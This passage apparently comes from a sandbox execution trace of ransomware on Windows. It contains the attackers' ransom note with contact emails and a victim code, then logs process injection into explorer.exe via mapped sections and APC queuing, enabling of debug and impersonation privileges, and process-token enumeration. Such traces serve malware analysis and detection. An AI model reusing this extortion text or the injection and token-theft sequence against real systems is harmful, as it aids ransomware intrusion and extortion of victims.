guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.pabpabtab@tuta.io\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:{code}}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{code}") returned="{code}}\r\n\r\n\r\n\r\n\r\n\r\n" [0054.384] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x482) returned 0x33e3ba8 [0054.384] strstr (_Str="++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n---\r\nWhat happen ?\r\n---\r\n\r\nYour files are encrypted, and currently unavailable.\r\nYou can check it: all files on your computer has expansion d0e731.\r\nBy the way, everything is possible to recover, but you need to follow our instructions.\r\nOtherwise, you cant return your data.\r\n\r\n---\r\nWhat guarantees?\r\n---\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting\r\nbenefits. If we do not do our work and liabilities - nobody will not cooperate with us.\r\nIts not in our interests.\r\nTo check the ability of returning files, you should write to us by email. \r\nThere you can decrypt one file for free. That is our guarantee.\r\n\r\n---\r\nHow to contact with us ?\r\n---\r\n\r\nEmail us:\r\n1.kokoklock@cock.li\r\n2.pabpabtab@tuta.io\r\n\r\nBe sure to include your personal code in the letter:\r\n{key_d0e731:EQAAAEQwRTczMS1SZWFkbWUudHh0IQAAAC5tYWlsdG9ba29rb2\r\ntsb2NrQGNvY2subGldLmQwZTczMRbhG6+6IVNShW+uie40GTSm\r\nnDiC0pLaOz6ev7B9wvH/pHULJMYdqkJHOctzYJ8uoua/b69c3x\r\ndoagWZfpSLQ6BZTyOPuZUVUgkcLkNFpZEyyh2VUwD4+gh+DL2Z\r\nrgLB5pIoJcN22wynOA9yMqP8sL0=}\r\n\r\n\r\n\r\n\r\n\r\n", _SubStr="{code}") returned 0x0 [0054.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e42d8) returned 1 [0054.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2170) returned 1 [0054.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e1b10) returned 1 [0054.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d1cc8) returned 1 [0054.384] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d25c0) returned 1 [0054.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d1bd8) returned 1 [0054.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d24a0) returned 1 [0054.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d6908) returned 1 [0054.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2d48) returned 1 [0054.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2b10) returned 1 [0054.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0054.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33cbf50 [0054.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33d2170 [0054.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33cc830 [0054.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33cb520 [0054.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33caf90 [0054.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33cb7b8 [0054.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33d0d80 [0054.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32120d0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc [0054.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20a) returned 0x33cb228 [0054.386] GetSystemDirectoryW (in: lpBuffer=0x33cb228, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0054.386] wcscat (in: _Dest=0x33cb228, _Source="\\" | out: _Dest="C:\\WINDOWS\\system32\\") returned="C:\\WINDOWS\\system32\\" [0054.386] wcscat (in: _Dest=0x33cb228, _Source="explorer.exe" | out: _Dest="C:\\WINDOWS\\system32\\explorer.exe") returned="C:\\WINDOWS\\system32\\explorer.exe" [0054.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x28) returned 0x33d1cc8 [0054.386] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2fcfe5c*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2fcfea0 | out: lpCommandLine=0x0, lpProcessInformation=0x2fcfea0*(hProcess=0x2c8, hThread=0x2c4, dwProcessId=0xd1c, dwThreadId=0x90c)) returned 1 [0054.405] NtCreateSection (in: SectionHandle=0x2fcfe34, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x2fcfe14, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x2fcfe34*=0x2d0) returned 0x0 [0054.405] NtMapViewOfSection (in: SectionHandle=0x2d0, ProcessHandle=0xffffffff, BaseAddress=0x2fcfe38*=0x0, ZeroBits=0x0, CommitSize=0x17000, SectionOffset=0x0, ViewSize=0x2fcfe28*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x2fcfe38*=0x52b0000, SectionOffset=0x0, ViewSize=0x2fcfe28*=0x17000) returned 0x0 [0054.407] NtMapViewOfSection (in: SectionHandle=0x2d0, ProcessHandle=0x2c8, BaseAddress=0x2fcfe30*=0x0, ZeroBits=0x0, CommitSize=0x17000, SectionOffset=0x0, ViewSize=0x2fcfe28*=0x17000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x2fcfe30*=0x3000000, SectionOffset=0x0, ViewSize=0x2fcfe28*=0x17000) returned 0x0 [0054.455] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x52b0000) returned 0x0 [0054.456] NtClose (Handle=0x2d0) returned 0x0 [0054.456] NtQueueApcThread (ThreadHandle=0x2c4, ApcRoutine=0x30113b0, NormalContext=0x0, SystemArgument1=0x0, SystemArgument2=0x0) returned 0x0 [0054.456] NtResumeThread (in: ThreadHandle=0x2c4, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0054.456] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cb228) returned 1 [0054.456] Sleep (dwMilliseconds=0x0) [0054.536] SetErrorMode (uMode=0x8003) returned 0x0 [0054.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32104b0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0 [0054.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32105a0, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc [0054.548] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x2fcfee0 | out: lpLuid=0x2fcfee0*(LowPart=0x14, HighPart=0)) returned 1 [0054.555] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x2fcfe68 | out: TokenHandle=0x2fcfe68*=0x2f8) returned 0x0 [0054.555] AdjustTokenPrivileges (in: TokenHandle=0x2f8, DisableAllPrivileges=0, NewState=0x2fcfed0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0054.555] GetLastError () returned 0x0 [0054.555] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeImpersonatePrivilege", lpLuid=0x2fcfee0 | out: lpLuid=0x2fcfee0*(LowPart=0x1d, HighPart=0)) returned 1 [0054.556] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x2fcfe68 | out: TokenHandle=0x2fcfe68*=0x2fc) returned 0x0 [0054.556] AdjustTokenPrivileges (in: TokenHandle=0x2fc, DisableAllPrivileges=0, NewState=0x2fcfed0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0054.556] GetLastError () returned 0x0 [0054.556] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x300) returned 0x0 [0054.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x100) returned 0x33c3788 [0054.556] GetTokenInformation (in: TokenHandle=0x300, TokenInformationClass=0x1, TokenInformation=0x33c3788, TokenInformationLength=0x100, ReturnLength=0x2fcfec8 | out: TokenInformation=0x33c3788, ReturnLength=0x2fcfec8) returned 1 [0054.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4) returned 0x33d6898 [0054.556] ConvertSidToStringSidW () returned 0x1 [0054.556] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1024) returned 0x33e8968 [0054.556] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.557] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x2048) returned 0x33e8968 [0054.557] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.557] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x306c) returned 0x33e8968 [0054.557] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.558] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x4090) returned 0x33e8968 [0054.558] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.558] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x50b4) returned 0x33e8968 [0054.558] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.558] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x60d8) returned 0x33e8968 [0054.558] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.558] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x70fc) returned 0x33e8968 [0054.559] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.559] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x8120) returned 0x33e8968 [0054.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.560] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x9144) returned 0x33e8968 [0054.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.560] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0xa168) returned 0x33e8968 [0054.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.560] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0xb18c) returned 0x33e8968 [0054.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.561] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0xc1b0) returned 0x33e8968 [0054.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.561] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0xd1d4) returned 0x33e8968 [0054.561] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.562] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0xe1f8) returned 0x33e8968 [0054.562] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.562] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0xf21c) returned 0x33e8968 [0054.562] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.562] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x10240) returned 0x33e8968 [0054.563] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.563] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x11264) returned 0x33e8968 [0054.563] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.563] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x12288) returned 0x33e8968 [0054.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e8968, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x33e8968, ResultLength=0x0) returned 0xc0000004 [0054.883] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33e8968, Size=0x132ac) returned 0x33fdc28 [0054.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0xc0000004 [0054.885] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33fdc28, Size=0x142d0) returned 0x33fdc28 [0054.885] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0xc0000004 [0054.886] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33fdc28, Size=0x152f4) returned 0x33fdc28 [0054.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0xc0000004 [0054.886] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33fdc28, Size=0x16318) returned 0x33fdc28 [0054.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0xc0000004 [0054.887] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33fdc28, Size=0x1733c) returned 0x33fdc28 [0054.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0xc0000004 [0054.888] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33fdc28, Size=0x18360) returned 0x33fdc28 [0054.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0xc0000004 [0054.888] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33fdc28, Size=0x19384) returned 0x33fdc28 [0054.888] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0xc0000004 [0054.889] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33fdc28, Size=0x1a3a8) returned 0x33fdc28 [0054.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0xc0000004 [0054.889] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33fdc28, Size=0x1b3cc) returned 0x33fdc28 [0054.889] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0xc0000004 [0054.890] RtlReAllocateHeap (Heap=0x33c0000, Flags=0x8, Ptr=0x33fdc28, Size=0x1c3f0) returned 0x33fdc28 [0054.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33fdc28, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x33fdc28, ResultLength=0x0) returned 0x0 [0054.890] GetCurrentProcessId () returned 0xdb0 [0054.890] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x0) returned 0xc0000022 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x144, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x0) returned 0xc0000022 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x19c, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x0) returned 0xc0000022 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x1ec, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x0) returned 0xc0000022 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x1f8, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x0) returned 0xc0000022 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x234, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.891] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.891] CloseHandle (hObject=0x30c) returned 1 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x250, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x0) returned 0xc0000022 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x258, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.891] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.891] CloseHandle (hObject=0x30c) returned 1 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x2b4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.891] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.891] CloseHandle (hObject=0x30c) returned 1 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x2c0, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.891] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.891] CloseHandle (hObject=0x30c) returned 1 [0054.891] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x2c8, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.892] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.892] CloseHandle (hObject=0x30c) returned 1 [0054.892] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x318, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.892] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.892] CloseHandle (hObject=0x30c) returned 1 [0054.892] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x374, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.892] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.892] CloseHandle (hObject=0x30c) returned 1 [0054.892] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x3c0, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.892] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.892] CloseHandle (hObject=0x30c) returned 1 [0054.892] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x3d0, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.892] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.892] CloseHandle (hObject=0x30c) returned 1 [0054.892] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x3f4, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.892] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.892] CloseHandle (hObject=0x30c) returned 1 [0054.892] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x2fcfe98*(UniqueProcess=0x12c, UniqueThread=0x0) | out: ProcessHandle=0x2fcfea0*=0x30c) returned 0x0 [0054.892] NtOpenProcessToken (in: ProcessHandle=0x30c, DesiredAccess=0xf01ff, TokenHandle=0x2fcfea4 | out: TokenHandle=0x2fcfea4*=0x0) returned 0xc0000022 [0054.892] CloseHandle (hObject=0x30c) returned 1 [0054.892] NtOpenProcess (in: ProcessHandle=0x2fcfea0, DesiredAccess=0x1fffff, ObjectAttributes=0x2fcfe80*(Length=0x18, RootDirectory=0x0, 